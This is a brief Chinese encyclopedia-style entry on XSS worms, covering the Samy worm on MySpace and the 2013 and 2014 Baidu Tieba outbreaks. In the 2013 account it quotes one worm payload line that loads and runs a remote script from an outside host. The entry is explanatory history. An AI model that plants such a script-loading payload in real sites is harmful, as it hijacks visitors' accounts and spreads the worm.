XSS蠕虫

✍ dations ◷ 2025-07-20 20:14:15 #注入漏洞,蠕虫病毒

xss蠕虫(cross site scripting worm)是一种跨站病毒,通常由脚本语言Javascript写成,它借由网站访问者传播

历史第一个XSS蠕虫是针对网站Myspace的Samy,它在20小时内感染了100万个账户,作者Samy Kamkar之后被起诉

见对新浪微博的争议#XSS.E6.BC.8F.E6.B4.9E

2013年5月19日, 百度贴吧转帖功能再度出现xss漏洞,大量贴吧内充斥接近满版面, 包含代码getScript('//xss.retaker.me/1.js')为标题的帖子,当已登陆用户打开这样的帖子,用户所持账户便以相同方式在多个贴吧转帖原作者的帖,部分网络安全相关人士认为贴吧爆发了大规模XSS蠕虫感染

2014年3月9日, 百度贴吧转帖功能再度出现xss漏洞

由于XSS蠕虫基于浏览器而不是操作系统,取决于其依赖网站的规模,它可以在短时间内达到对巨大数量的计算机感染

相关

  • 高龄老年(英语:old age),一般指生物的生命周期一个阶段,即中年到死亡的一段时间不同的文化圈对于老年人有着不同的定义。由于生命的周期是一个渐变的过程,壮年到老年的分界线往往是很
  • 国际核事件分级表国际核能事件分级表(英语:International Nuclear Event Scale, INES)是根据核电站事故对安全的影响作为分类,使传媒和公众更易了解。INES由国际原子能机构(IAEA)和经济合作与发展
  • 16S rRNA16S核糖体RNA(16S ribosomal RNA),简称16S rRNA,是原核生物的核糖体中30S亚基的组成部分。16S rRNA的长度约为1,542 nt。卡尔·乌斯和乔治·福克斯是率先在系统发育中使用的16S
  • 那不勒斯语那不勒斯语(那不勒斯文:Napulitano,意大利语:Napoletano)是通行于意大利的那不勒斯、坎帕尼亚一带的语言,属印欧语系意大利语族罗曼语族。在ISO 639-1,它未有语言代号;ISO 639-2和IS
  • 李衍达李衍达(1936年10月12日-),中国信号处理与智能控制专家。原籍广东南海,生于广东东莞。1959年毕业于清华大学自动控制系。清华大学教授。1991年当选为中国科学院院士(学部委员)。
  • 内门内门区(台湾话:.mw-parser-output .sans-serif{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Lato,"Helvetica Neue",Helvetica,Arial,sans-serif} Lāi-
  • 甲状腺滤泡甲状腺(拉丁语:Glandula thyr(e)oidea;英语:Thyroid)是脊椎动物非常重要的腺体,属于内分泌器官。在哺乳动物它位于颈部甲状软骨下方,气管两旁。人类的甲状腺形似蝴蝶,犹如盾甲,故名。
  • 年长者老年(英语:old age),一般指生物的生命周期一个阶段,即中年到死亡的一段时间不同的文化圈对于老年人有着不同的定义。由于生命的周期是一个渐变的过程,壮年到老年的分界线往往是很
  • 杆菊石见内文杆菊石(学名:Baculites)是生存在白垩纪海洋中的一属菊石,壳形接近笔直,只有壳上尖端最早期的壳阶部分还维持盘卷。它们于白垩纪晚期遍布世界各地。杆菊石可以长达2米,相信它
  • 好莱坞高速公路好莱坞高速公路(英语:Hollywood Freeway)是洛杉矶的高速公路干线之一,连接着洛杉矶盆地(英语:Los Angeles Basin)和圣费尔南多谷,由101号美国国道部分路段和170号加利福尼亚州州道部